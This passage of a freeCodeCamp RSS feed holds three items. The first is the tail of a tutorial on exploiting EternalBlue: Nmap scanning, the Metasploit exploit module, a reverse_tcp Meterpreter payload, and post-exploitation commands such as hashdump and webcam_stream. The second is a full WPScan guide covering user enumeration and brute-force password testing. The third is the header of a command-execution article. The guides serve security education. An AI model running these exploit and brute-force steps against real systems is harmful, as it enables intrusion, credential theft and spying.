<p>One of the most famous cyberattacks using EternalBlue was WannaCry. This was a ransomware attack that spread across the world in May 2017. It infected over 200,000 computers in more than 150 countries, locking up files and demanding payment. Another attack, NotPetya, used EternalBlue to cause billions of dollars in damage.</p>
<p>Now lets look at how a machine vulnerable to EternalBlue can be exploited.</p>
<h2 id="heading-prerequisites"><strong>Prerequisites</strong></h2>
<ol>
<li><p>A target Windows system vulnerable to EternalBlue (for example, an unpatched Windows 7 system).</p>
</li>
<li><p>An attacking system (often Kali Linux) with Metasploit installed.</p>
</li>
<li><p>Familiarity with basic pentesting commands (Nmap, Metasploit, and so on).</p>
</li>
</ol>
<h3 id="heading-tools-youll-need">Tools You’ll Need</h3>
<p>We are going to use two tools in this tutorial.</p>
<p><strong>Nmap (Network Mapper)</strong> is a tool used to scan networks and discover devices, open ports, and running services. It helps ethical hackers and system administrators find security weaknesses and map out network structures. <a target="_blank" href="https://www.freecodecamp.org/news/what-is-nmap-and-how-to-use-it-a-tutorial-for-the-greatest-scanning-tool-of-all-time/">Here is a full tutorial on Nmap</a>.</p>
<p><strong>Metasploit</strong> is a powerful hacking framework used to test security by finding and exploiting vulnerabilities in computer systems. It includes <strong>Meterpreter</strong>, an advanced payload that gives hackers remote control over a compromised machine. <a target="_blank" href="https://www.freecodecamp.org/news/learn-metasploit-for-beginners/">Here is a full tutorial on Metasploit</a>.</p>
<h2 id="heading-identify-the-target-and-check-for-open-ports"><strong>Identify the Target and Check for Open Ports</strong></h2>
<p>First, get the IP address of your target machine. In our example, the IP is <code>10.10.232.162</code>. You’ll want to confirm that SMB (port 445) is open because EternalBlue attacks the SMB service.</p>
<pre><code class="lang-plaintext">nmap -p 445 10.10.232.162
</code></pre>
<p>If the port is open, Nmap will report that port 445 is open. That’s your first green light.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737563621594/86733206-6b14-4a51-ae77-bd651fe066dc.webp" alt="Nmap response" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<h2 id="heading-start-metasploit"><strong>Start Metasploit</strong></h2>
<p>Open up your terminal and start the Metasploit Framework (you can <a target="_blank" href="https://www.freecodecamp.org/news/learn-metasploit-for-beginners/">learn more about Metasploit in my article</a> here if you need a refresher):</p>
<pre><code class="lang-plaintext">msfconsole
</code></pre>
<p>Metasploit will load, displaying the number of exploits, auxiliary modules, and payloads available.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737563650243/bf779d7c-a272-4dc7-aeba-65b812af2268.webp" alt="Msfconsole" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<h2 id="heading-scan-for-the-eternalblue-ms17010-vulnerability"><strong>Scan for the EternalBlue (MS17–010) Vulnerability</strong></h2>
<p>Next, use Metasploit’s built-in scanner for EternalBlue:</p>
<pre><code class="lang-plaintext">search scanner eternalblue
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737563706786/62f94087-b078-46d9-a0fd-66f00f05336e.webp" alt="Scanner search results" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<p>Use the smb_ms17_010 scanner to check for the EternalBlue vulnerability.</p>
<pre><code class="lang-plaintext">use auxiliary/scanner/smb/smb_ms17_010
show options
</code></pre>
<p>Set the target’s IP address (RHOSTS) to your Windows machine:</p>
<pre><code class="lang-plaintext">set RHOSTS 10.10.217.189
</code></pre>
<p>Then, run the scanner:</p>
<pre><code class="lang-plaintext">run
</code></pre>
<p>If the scanner reports that the host is “likely vulnerable” and shows details such as Windows 7 Professional, you’ve confirmed the EternalBlue vulnerability.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737563744272/f3204f5f-11aa-4778-aa7e-b4a6b9d90912.webp" alt="ms17_010 scan results" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<h2 id="heading-exploit-the-vulnerability"><strong>Exploit the Vulnerability</strong></h2>
<p>Once you know the target is vulnerable, search for the actual EternalBlue exploit module:</p>
<pre><code class="lang-plaintext">search exploit eternalblue
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737563783135/0a4c7c5b-5f2b-4d4f-bb2a-c3af8b49f29e.webp" alt="Exploit search results" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<p>You should see a list of possible exploits. The one we’re interested in is typically labelled something like:</p>
<pre><code class="lang-plaintext">exploit/windows/smb/ms17_010_eternalblue
</code></pre>
<p>Use that exploit:</p>
<pre><code class="lang-plaintext">use exploit/windows/smb/ms17_010_eternalblue
show options
</code></pre>
<p>Set the target’s IP address again:</p>
<pre><code class="lang-plaintext">set RHOSTS 10.10.217.189
</code></pre>
<p>Then check the payload settings. Metasploit often defaults to a <strong>Meterpreter</strong> payload (for example, <code>windows/x64/meterpreter/reverse_tcp</code>), which is ideal. Confirm that your local IP (LHOST) is correct, so the connection can come back to your machine.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737563823155/6d4e795a-abdb-4b08-8b25-292ac134135e.webp" alt="Options for exploit" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<p>Finally, run the exploit:</p>
<pre><code class="lang-plaintext">run
</code></pre>
<h2 id="heading-meterpreter-shell-and-post-exploitation"><strong>Meterpreter Shell and Post-Exploitation</strong></h2>
<p>If successful, you will land in a <strong>Meterpreter</strong> shell. Meterpreter is a powerful payload that allows you to:</p>
<ul>
<li><p>Dump password hashes</p>
</li>
<li><p>Elevate privileges</p>
</li>
<li><p>Capture webcam streams</p>
</li>
<li><p>Record microphones, and more.</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737563857046/7de15dd6-7905-4ad0-9aea-7b3be8febc35.webp" alt="Successful meterpreter shell" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<p>Here’s a quick look at some Meterpreter commands:</p>
<pre><code class="lang-plaintext">sysinfo         # Displays the target system information
getuid          # Shows the user context you’re running under
hashdump        # Dumps SAM password hashes (requires privilege escalation)
webcam_stream   # Streams from the target’s webcam if available
</code></pre>
<p>The EternalBlue exploit is a prime example of how a single unpatched vulnerability can expose a system for takeover.</p>
<p>Understanding its mechanics helps defensive teams patch systems, monitor network traffic for suspicious SMB communications, and create robust response strategies.</p>
<h2 id="heading-conclusion"><strong>Conclusion</strong></h2>
<p>EternalBlue remains one of the most notable Windows vulnerabilities, illustrating the importance of patching and cybersecurity hygiene. From scanning with Nmap to exploiting with Metasploit, the process follows a typical penetration testing workflow: <strong>scan for holes</strong>, <strong>identify vulnerabilities</strong>, <strong>exploit</strong>, and <strong>escalate</strong>.</p>
<p>Hackers use EternalBlue to spread malware, create botnets, and steal data. Cybersecurity experts recommend updating Windows, disabling SMBv1, and using strong firewalls to stay protected.</p>
<p>Microsoft released a patch (a security update) in March 2017 to fix the issue. However, many computers were not updated, making them easy targets for hackers. Even today, some systems remain unpatched and at risk.</p>
<p>For video tutorials on Cybersecurity, check out my <a target="_blank" href="https://www.youtube.com/@stealthsecurity_sh?sub_confirmation=true"><strong>YouTube channel</strong></a>. To get some hands on experience with Eternal Blue and similar vulnerabilities, check out this <a target="_blank" href="https://start.stealthsecurity.sh/">Security Starter</a> course.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Use WPScan to Keep Your WordPress Site Secure ]]>
                </title>
                <description>
                    <![CDATA[ Over 40% of the web is powered by WordPress. But this makes this popular CMS an attractive target for hackers. So if you run a WordPress site, you’ll need to make sure it’s secure. And this isn’t just a technical task, but is also a key responsibilit... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-use-wpscan-to-keep-your-wordpress-site-secure/</link>
                <guid isPermaLink="false">6751e08319cee0c3e45cb876</guid>
                
                    <category>
                        <![CDATA[ WordPress ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ ethicalhacking ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Marco Venturi ]]>
                </dc:creator>
                <pubDate>Thu, 05 Dec 2024 17:18:59 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1732705985906/49090646-5b75-40f4-ad55-473d723b4237.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Over 40% of the web is powered by WordPress. But this makes this popular CMS an attractive target for hackers.</p>
<p>So if you run a WordPress site, you’ll need to make sure it’s secure. And this isn’t just a technical task, but is also a key responsibility from several points of view such as brand reputation, data breach, and business continuity.</p>
<p>One tool that stands out in the WordPress ecosystem is <strong>WPScan.</strong> It’s a security scanner that’s specifically designed for WordPress. It comes with both a paid and free license, according to your needs. It is also pre-installed in Kali Linux distributions.</p>
<p>So whether you’re a seasoned website admin or a website owner looking to improve your site's security, WPScan can help you identify vulnerabilities before attackers exploit them.</p>
<p>Before going ahead, one very important thing: the purpose of this article is to help individuals and organizations strengthen the security of their WordPress websites by effectively utilizing WPScan.</p>
<p>While this tool is incredibly powerful in identifying vulnerabilities, it’s important to emphasize that any unauthorized use of WPScan—such as scanning websites without proper permission—is not only unethical but also illegal.</p>
<p>My goal in sharing this information is to empower site administrators and developers to proactively secure their websites, safeguard their data, and create a safer online environment for everyone.</p>
<h3 id="heading-what-well-cover">What we’ll cover:</h3>
<ol>
<li><p><a class="post-section-overview" href="#heading-what-is-wpscan">What is WPScan?</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-how-to-scan-your-wordpress-site-using-wpscan">How to Scan Your WordPress Site Using WPScan</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-what-to-do-with-wpscan-results">What to do with WPScan Results</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-limitations-of-wpscan">Limitations of WPScan</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-best-practices-for-using-wpscan">Best Practices for Using WPScan</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-how-to-monitor-results-effectively">How to Monitor Results Effectively</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-conclusion">Conclusion</a></p>
</li>
</ol>
<h2 id="heading-what-is-wpscan">What is WPScan?</h2>
<p>WPScan is a command-line tool that helps you identify potential vulnerabilities in your WordPress installation. It’s like a security guard for your website, keeping an eye on outdated plugins, misconfigurations, and other common issues.</p>
<p>What makes WPScan unique is its focus on WordPress. It uses a database maintained by security experts, which is updated regularly to track thousands of known vulnerabilities in WordPress core, plugins, and themes.</p>
<h3 id="heading-what-can-wpscan-do">What Can WPScan Do?</h3>
<p>Here are just a few things WPScan can help you with:</p>
<ul>
<li><p>Detecting outdated WordPress core versions.</p>
</li>
<li><p>Identifying vulnerabilities in plugins and themes.</p>
</li>
<li><p>Enumerating users (for example, discovering usernames).</p>
</li>
<li><p>Testing for weak passwords (using a dictionary attack).</p>
</li>
<li><p>Finding exposed sensitive files (like backups or debug logs).</p>
</li>
</ul>
<p>Let’s see now the most common commands you can use.</p>
<h2 id="heading-how-to-scan-your-wordpress-site-using-wpscan">How to Scan Your WordPress Site Using WPScan</h2>
<h3 id="heading-1-basic-scan"><strong>1. Basic Scan</strong></h3>
<p>A basic scan provides an overview of your WordPress site's security by identifying key vulnerabilities or misconfigurations. It can detect the WordPress core version and flag it if it's outdated, highlighting potential risks like SQL injection or cross-site scripting (XSS) vulnerabilities associated with older versions.</p>
<p>The scan might also reveal publicly accessible backup files (for example, <code>.sql</code> or <code>.zip</code>) or debug files like <code>debug.log</code>, which could expose sensitive information such as database credentials or server paths.</p>
<p>It can flag missing or improperly configured HTTP security headers, such as Strict-Transport-Security (HSTS) or Content-Security-Policy (CSP), which are critical for protecting against protocol downgrade attacks and unauthorized script execution.</p>
<p>Open directories that expose your site's file structure and potentially vulnerable plugins or themes may also be flagged if they are identified in public metadata.</p>
<p>These findings provide a starting point to address fundamental security gaps.</p>
<pre><code class="lang-bash">wpscan --url http://yourwebsite.com
</code></pre>
<p>This is what you’ll see on your terminal when you run this command:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1733225875769/0b1daa21-a258-41e3-88c1-62b9a7a23554.png" alt="Results of basic scan with WPScan" class="image--center mx-auto" width="2688" height="1006" loading="lazy"></p>
<h3 id="heading-2-enumerating-users"><strong>2. Enumerating Users</strong></h3>
<p>User enumeration is a process of identifying usernames on your WordPress site. Knowing these usernames can help attackers target specific accounts for brute-force attacks.</p>
<p>To enumerate users, run:</p>
<pre><code class="lang-bash">wpscan --url http://yourwebsite.com --enumerate u
</code></pre>
<p>The output will show usernames:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1733226140065/3650be6a-e8e6-4c8b-a183-f986643c8ac2.png" alt="3650be6a-e8e6-4c8b-a183-f986643c8ac2" class="image--center mx-auto" width="2678" height="454" loading="lazy"></p>
<p>If you find default usernames like <code>admin</code>, you should replace them with something unique and secure.</p>
<p>Here are some best practice for usernames:</p>
<ul>
<li><p><strong>Avoid default names</strong>: Replace default usernames like <code>admin</code> or <code>user</code> with something unique and not easily guessable.</p>
</li>
<li><p><strong>Rename vulnerable usernames</strong>: To change a username, you can create a new user with administrator privileges, transfer ownership of posts or content, and then delete the old user.</p>
</li>
<li><p><strong>Use role-based usernames carefully</strong>: Avoid naming accounts after their roles (for example, <code>editor</code>, <code>manager</code>), as these can be easy targets.</p>
</li>
<li><p><strong>Implement login lockouts</strong>: Combine secure usernames with plugins that lock accounts after repeated failed login attempts.</p>
</li>
<li><p><strong>Enable Two-Factor Authentication (2FA)</strong>: Adding 2FA ensures that even if a username is guessed, the account remains secure.</p>
</li>
</ul>
<h3 id="heading-3-checking-plugins-and-themes"><strong>3. Checking Plugins and Themes</strong></h3>
<p>Plugins and themes can have security issues. WPScan can list all installed plugins and themes, along with any associated vulnerabilities.</p>
<p>For plugins, run this:</p>
<pre><code class="lang-bash">wpscan --url http://yourwebsite.com --enumerate p
</code></pre>
<p>It’ll have an output like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1733226282550/d428be3a-5b0d-410d-979a-2c65e3fb7846.png" alt="Results of plugin scan" class="image--center mx-auto" width="2678" height="618" loading="lazy"></p>
<p>For themes, run this:</p>
<pre><code class="lang-bash">wpscan --url http://yourwebsite.com --enumerate t
</code></pre>
<p>It’ll have output similar to this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1733226484963/ae2ded5c-2d71-41db-8b1e-4a74df3dd94d.png" alt="Results of theme scan" class="image--center mx-auto" width="2694" height="998" loading="lazy"></p>
<p>Look for outdated versions or known vulnerabilities in the results, and update or replace those components immediately.</p>
<p>Let’s look at some common security issues in plugins and themes.</p>
<p>First, we have <strong>Cross-Site Scripting (XSS)</strong>. Insecure input handling in plugins or themes can allow attackers to inject malicious scripts, potentially stealing user information or taking over admin sessions. A poorly secured WordPress site with an XSS vulnerability can allow attackers to steal session cookies, potentially gain unauthorized admin access, inject malicious redirects, take users to phishing sites, display deceptive content, tricking users into providing sensitive information.</p>
<p>There’s also <strong>SQL Injection</strong>. Poorly written plugins or themes can enable attackers to manipulate database queries, exposing sensitive data or damaging your site. SQL injection vulnerabilities can be exploited to dump sensitive data, bypass authentication, and modify or delete data</p>
<p>Some plugins or themes might include malicious code—intentionally or due to poor security—that grants attackers unauthorized access to your site, known as <strong>backdoors</strong>. Once installed, a backdoor can grant persistent access, enable arbitrary file uploads, undermine site integrity, and steal sensitive data.</p>
<p>There’s also <strong>Remote Code Execution (RCE)</strong> – vulnerabilities that allow attackers to execute arbitrary code on your server, often leading to full control of your site or server. Once attackers gain RCE access, they can create admin users, exfiltrate data, launch further attacks, and privilege escalation.</p>
<h4 id="heading-best-practices">Best Practices:</h4>
<ul>
<li><p>Always keep plugins and themes updated to the latest versions.</p>
</li>
<li><p>Remove any unused or inactive plugins and themes, as these can still pose a risk.</p>
</li>
<li><p>Ensure plugins and themes are downloaded from trusted, reputable sources and have a history of active maintenance.</p>
</li>
<li><p>Consider using security plugins to monitor changes to plugin or theme files and detect suspicious activity.</p>
</li>
</ul>
<h3 id="heading-4-password-testing"><strong>4. Password Testing</strong></h3>
<p>WPScan can test for weak passwords by attempting a brute-force attack using a wordlist:</p>
<pre><code class="lang-bash">wpscan --url http://yourwebsite.com --passwords /path/to/passwords.txt
</code></pre>
<p>and this is the output on your command line:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1733229769208/699aebbe-576d-4bb6-a626-2a1139822f2d.png" alt="Password testing output" class="image--center mx-auto" width="2708" height="280" loading="lazy"></p>
<h4 id="heading-what-is-brute-forcing">What is Brute-Forcing?</h4>
<p>Brute-forcing is a method attackers use to guess passwords by systematically trying every possible combination until the correct one is found. When combined with a <strong>wordlist</strong>—a file containing a collection of commonly used passwords—brute-forcing becomes much faster and more efficient.</p>
<p>A typical wordlist might include:</p>
<ul>
<li><p><strong>Simple passwords</strong> like <code>123456</code>, <code>password</code>, and <code>qwerty</code>.</p>
</li>
<li><p><strong>Common patterns</strong> such as <code>Spring2024!</code> or <code>welcome123</code>.</p>
</li>
<li><p><strong>Leaked passwords</strong> from previous data breaches.</p>
</li>
</ul>
<p>By simulating this type of attack, WPScan can identify accounts that use weak passwords, allowing you to address vulnerabilities proactively.</p>
<p>Weak passwords make brute-forcing easier and faster. A short or predictable password might be guessed in seconds, while a longer, complex password with unique elements is exponentially harder to crack.</p>
<h4 id="heading-how-to-create-strong-passwords">How to Create Strong Passwords</h4>
<p>Strong passwords are your first line of defense against brute-force attacks. Here are key characteristics of strong passwords:</p>
<ul>
<li><p><strong>Length</strong>: At least 12–16 characters long.</p>
</li>
<li><p><strong>Complexity</strong>: Use a mix of uppercase and lowercase letters, numbers, and special characters.</p>
</li>
<li><p><strong>Uniqueness</strong>: Avoid reusing passwords across multiple accounts.</p>
</li>
<li><p><strong>Unpredictability</strong>: Avoid dictionary words, common phrases, or personal information like birthdays.</p>
</li>
</ul>
<h4 id="heading-strategies-for-generating-strong-passwords">Strategies for Generating Strong Passwords</h4>
<p>There are various measures you can take to create strong passwords. First, use a password generator<strong>.</strong> Tools like LastPass and Bitwarden can create and store highly complex passwords for you.</p>
<p>You should also use pass phrases (instead of just regular passwords). Combine random, unrelated words with numbers and symbols, such as <code>Sky#Tree!Motorbike12</code>.</p>
<p>Finally, avoid patterns that might be easily guessed by an attacker. Don’t use sequential or keyboard patterns like <code>abcdef</code> or <code>qwerty</code>.</p>
<h4 id="heading-use-tools-to-manage-passwords">Use Tools to Manage Passwords</h4>
<p>Managing strong passwords can be challenging. Password managers simplify this by securely storing and autofilling your credentials. Popular options include:</p>
<ul>
<li><p><strong>Bitwarden</strong></p>
</li>
<li><p><strong>LastPass</strong></p>
</li>
</ul>
<p>These tools also have features like password auditing to detect reused or weak passwords.</p>
<h4 id="heading-use-two-factor-authentication-2fa">Use Two-Factor Authentication (2FA)</h4>
<p>Two-factor authentication (2FA) adds an additional layer of security by requiring users to verify their identity through a second factor beyond the password. This can include:</p>
<ul>
<li><p><strong>One-time codes</strong> sent via email or SMS.</p>
</li>
<li><p><strong>App-generated codes</strong> from tools like Google Authenticator or Authy.</p>
</li>
<li><p><strong>Biometric verification</strong>, such as fingerprints or facial recognition.</p>
</li>
</ul>
<p>Even if an attacker guesses your password through brute-forcing, 2FA prevents them from accessing your account without secondary verification. This additional step makes brute-forcing impractical, as attackers would also need to compromise your 2FA device or method.</p>
<h5 id="heading-how-to-implement-2fa-in-wordpress">How to Implement 2FA in WordPress</h5>
<ol>
<li><p>Install a WordPress plugin such as <strong>Google Authenticator</strong>.</p>
</li>
<li><p>Require all user accounts, especially administrators, to enable 2FA.</p>
</li>
<li><p>Offer backup codes or recovery options in case users lose access to their 2FA device.</p>
</li>
<li><p>Test and make sure that 2FA works reliably for all user roles before making it mandatory.</p>
</li>
</ol>
<h4 id="heading-the-importance-of-password-hygiene">The Importance of Password Hygiene</h4>
<p>By using strong passwords and implementing 2FA, you can significantly reduce the effectiveness of brute-force attacks.</p>
<p>WPScan’s password testing feature can help you identify weak credentials. It also underscores the critical need for proactive password hygiene and additional security layers to keep your WordPress site secure.</p>
<h2 id="heading-what-to-do-with-wpscan-results"><strong>What to Do with WPScan Results</strong></h2>
<p>WPScan reports provide actionable insights into your site’s security. Here’s what you can do with the information:</p>
<p>First, update WordPress core, plugins, and themes: Keep everything updated to patch vulnerabilities.</p>
<p>Second, address configuration issues: Fix misconfigured file permissions, insecure HTTP headers, and other warnings.</p>
<p>Here are a couple of remediation examples you can apply:</p>
<ul>
<li><p><strong>Directory indexing</strong>: If WPScan detects open directories, disable directory browsing by adding this line to your <code>.htaccess</code> file:</p>
<pre><code class="lang-apache">  <span class="hljs-attribute"><span class="hljs-nomarkup">Options</span></span> -Indexes
</code></pre>
</li>
<li><p><strong>File permissions</strong>: Ensure critical files like <code>wp-config.php</code> are read-only by setting permissions to <code>440</code> or <code>400</code> using the command:</p>
<pre><code class="lang-bash">  chmod 400 wp-config.php
</code></pre>
</li>
</ul>
<p>You should also harden all user accounts. You can do this in several ways:</p>
<ul>
<li><p><strong>Update weak passwords</strong>: Use strong, unique passwords for all user accounts (refer to the password testing section for tips).</p>
</li>
<li><p><strong>Remove unused accounts</strong>: Delete inactive accounts, especially those with administrator privileges.</p>
</li>
<li><p><strong>Rename predictable usernames</strong>: Change usernames like <code>admin</code> to something less obvious.</p>
</li>
</ul>
<p>Make sure you also secure any sensitive files: If WPScan finds exposed files like <code>debug.log</code>, delete or secure them. Delete unnecessary files or old backups.</p>
<p>For files you need to keep, move them to a directory outside the web root. You can also protect files with <code>.htaccess</code>, by blocking access to sensitive files using <code>Deny</code> and <code>Allow</code> rules:</p>
<pre><code class="lang-apache"><span class="hljs-section">&lt;Files wp-login.php&gt;</span>
    <span class="hljs-attribute"><span class="hljs-nomarkup">Order</span></span> <span class="hljs-literal">Deny</span>,<span class="hljs-literal">Allow</span>
    <span class="hljs-attribute"><span class="hljs-nomarkup">Deny</span></span> from <span class="hljs-literal">all</span>
    <span class="hljs-attribute"><span class="hljs-nomarkup">Allow</span></span> from <span class="hljs-number">123.456.789.000</span>
<span class="hljs-section">&lt;/Files&gt;</span>
</code></pre>
<h2 id="heading-limitations-of-wpscan">Limitations of WPScan</h2>
<p>WPScan is a powerful too, but it does have some limitations. Just be aware of them so you can take other measures to protect your WP sites.</p>
<h3 id="heading-1-known-vulnerabilities-only"><strong>1. Known Vulnerabilities Only</strong></h3>
<p>WPScan relies on its database of known vulnerabilities, so it won’t catch zero-day exploits or custom vulnerabilities.</p>
<p>Here are some tips on how you can mitigate this issue:</p>
<ul>
<li><p><strong>Stay informed</strong>: Monitor WordPress security blogs, vulnerability databases like CVE or WPVulnDB, and community forums for emerging threats.</p>
</li>
<li><p><strong>Use a Web Application Firewall (WAF)</strong>: Tools like Cloudflare or Sucuri can block suspicious activities and attempts to exploit unknown vulnerabilities.</p>
</li>
<li><p><strong>Conduct manual security reviews</strong>: Periodically review your site for unusual behavior or unauthorized changes, particularly in critical files like <code>wp-config.php</code> or your database.</p>
</li>
</ul>
<h3 id="heading-2-no-real-time-protection"><strong>2. No Real-Time Protection</strong></h3>
<p>WPScan a diagnostic tool, not a firewall or intrusion detection system. For real-time protection, it’s a good idea to combine WPScan with other tools.</p>
<p>Some steps you can take are:</p>
<ul>
<li><p><strong>Install security plugins</strong>: Use specific security plugins to provide continuous monitoring, malware scanning, and firewall protection.</p>
</li>
<li><p><strong>Monitor activity logs</strong>: Set up activity tracking to identify suspicious login attempts, file changes, or unauthorized user actions.</p>
</li>
</ul>
<h3 id="heading-3-resource-intensive"><strong>3. Resource-Intensive</strong></h3>
<p>Scanning large sites with many plugins and themes can be time-consuming and may impact server performance.</p>
<p>There are various strategies you can adopt to mitigate this such as scheduling scans during low-traffic periods to minimize disruption to site visitors. You can also perform scans on a staging copy of your site rather than directly on the live environment.</p>
<h3 id="heading-4-learning-curve"><strong>4. Learning Curve</strong></h3>
<p>As a command-line tool, WPScan can be intimidating for less technical users. However, the documentation is excellent, and with practice, you’ll become proficient.</p>
<p>If the CLI is overwhelming for you, try pairing WPScan with security plugins that offer GUI-based scanning and reporting.</p>
<h2 id="heading-best-practices-for-using-wpscan">Best Practices for Using WPScan</h2>
<p>To get the most out of WPScan, you’ll want to to tailor its usage to your site’s specific needs and establish a robust strategy for monitoring results. Here’s how you can maximize its effectiveness:</p>
<h3 id="heading-choose-the-right-scans-for-your-site">Choose the Right Scans for Your Site</h3>
<p>WPScan offers a variety of scan options, from basic scans to targeted vulnerability checks for plugins, themes, and user accounts. Choosing the right scans depends on the type of site you manage and the sensitivity of the data it handles.</p>
<p><strong>For small, low-traffic sites</strong>:</p>
<ul>
<li><p>Prioritize basic scans to check WordPress core, plugins, and themes for updates and vulnerabilities.</p>
</li>
<li><p>Run scans monthly or after major updates.</p>
</li>
<li><p>Use user enumeration (<code>--enumerate u</code>) if you suspect weak passwords or default usernames.</p>
</li>
</ul>
<p><strong>For medium-sized business sites</strong>:</p>
<ul>
<li><p>In addition to basic scans, include plugin and theme enumeration (<code>--enumerate p,t</code>) to ensure all components are secure.</p>
</li>
<li><p>Weekly scans to stay ahead of emerging threats.</p>
</li>
<li><p>Combine WPScan with activity log plugins to track user actions and file changes.</p>
</li>
</ul>
<p><strong>For high-traffic or e-commerce sites</strong>:</p>
<ul>
<li><p>Perform comprehensive scans, including user enumeration (<code>--enumerate u</code>), file enumeration (<code>--enumerate f</code>), and password brute-force testing (if allowed).</p>
</li>
<li><p>Daily or weekly scans to minimize risk.</p>
</li>
<li><p>Implement additional measures like 2FA for admin accounts, a web application firewall (WAF), and security headers to reinforce your site.</p>
</li>
</ul>
<p><strong>For sites handling sensitive data</strong>:</p>
<ul>
<li><p>Prioritize all available scans, including those for exposed files and configuration vulnerabilities.</p>
</li>
<li><p>Weekly scans with real-time monitoring via a security plugin.</p>
</li>
<li><p>Use staging environments to test security settings without affecting production.</p>
</li>
</ul>
<h3 id="heading-should-you-use-all-scans"><strong>Should You Use All Scans?</strong></h3>
<p>While it may seem beneficial to use every scan WPScan offers, there are various factors to consider.</p>
<p>First, think about your site’s size and your resources. For smaller sites, running all scans can be overkill and resource-intensive.</p>
<p>You’ll also want to focus on scans that address your site's most likely vulnerabilities. For example, an e-commerce site should prioritize user and payment security over exhaustive file enumeration.</p>
<p>Compliance requirements are also important to take into consideration. If you’re subject to regulations like GDPR, ensure you scan for and address vulnerabilities related to data protection.</p>
<h2 id="heading-how-to-monitor-results-effectively">How to Monitor Results Effectively</h2>
<p>Monitoring WPScan results is important. It helps you fix vulnerabilities, of course, but it also helps you create a system to track changes over time and stay vigilant.</p>
<h3 id="heading-set-up-reporting"><strong>Set Up Reporting</strong></h3>
<p>You can save scan results to files using the <code>--output</code> flag:</p>
<pre><code class="lang-bash">wpscan --url http://example.com --output /path/to/report.txt
</code></pre>
<p>Then review the reports regularly and compare them to previous scans to identify recurring issues or new vulnerabilities.</p>
<h3 id="heading-create-an-action-plan"><strong>Create an Action Plan</strong></h3>
<p>It’s a good idea to categorize vulnerabilities based on severity (for example, critical, moderate, low).</p>
<p>This allows you to address high-severity issues (like outdated plugins with known exploits) immediately. Then you can schedule lower-priority tasks, such as file permission adjustments or minor configuration changes, for routine maintenance.</p>
<h3 id="heading-track-trends-over-time"><strong>Track Trends Over Time</strong></h3>
<p>Use tools like spreadsheets or a project management app (for example, Trello, Asana) to log vulnerabilities, fixes, and follow-up actions.</p>
<p>Make sure you analyze recurring issues to identify patterns, such as frequent plugin vulnerabilities, and consider replacing problematic components.</p>
<h3 id="heading-automate-notifications"><strong>Automate Notifications</strong></h3>
<p>If you schedule scans using cron jobs, set up email alerts or notifications to review results without delay.</p>
<p>Use security plugins with real-time monitoring to notify you of suspicious activities in between WPScan checks.</p>
<h3 id="heading-communicate-with-your-team"><strong>Communicate with Your Team</strong>:</h3>
<p>You’ll want to make sure you share reports with relevant team members, such as developers or site administrators, so everyone is aware of potential vulnerabilities.</p>
<p>It’s also a good idea to establish protocols for immediate action if critical vulnerabilities are discovered.</p>
<p>By choosing scans based on your site’s specific needs and implementing a structured approach to monitoring results, you can ensure WPScan is used effectively. Also, make sure you tailor the tool to your risk profile, track vulnerabilities over time, and integrate its findings into a broader security strategy.</p>
<p>This approach not only improves your site’s security posture but also minimizes resource use and effort while delivering maximum protection.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>WPScan is an invaluable tool for anyone managing a WordPress site. It simplifies the process of identifying vulnerabilities and provides clear, actionable recommendations to strengthen your site’s security.</p>
<p>By integrating WPScan into your workflow and following best practices, you can reduce the risk of attacks and keep your WordPress site safe. Security is a continuous journey, and tools like WPScan make it easier to stay ahead of potential threats.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How Hackers Use Command Execution to Break Into Systems ]]>
                </title>
                <description>
                    <![CDATA[ When learning about cybersecurity, you’ll quickly realize that some vulnerabilities are more dangerous than others. One of the most serious ones is called command execution.  Hackers use it to run harmful commands on a system, gain access to sensitiv... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-hackers-use-command-execution-to-break-into-systems/</link>
                <guid isPermaLink="false">67472c4bfc3f1e96f2028a30</guid>
                
                    <category>
                        <![CDATA[ #cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Commands ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cyber attack ]]>
                    </category>
                
                    <category>
                        <![CDATA[ ethicalhacking ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Wed, 27 Nov 2024 14:27:23 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1732527958866/65644a19-376f-480b-a46e-d5f204ce9515.jpeg" medium="image" />
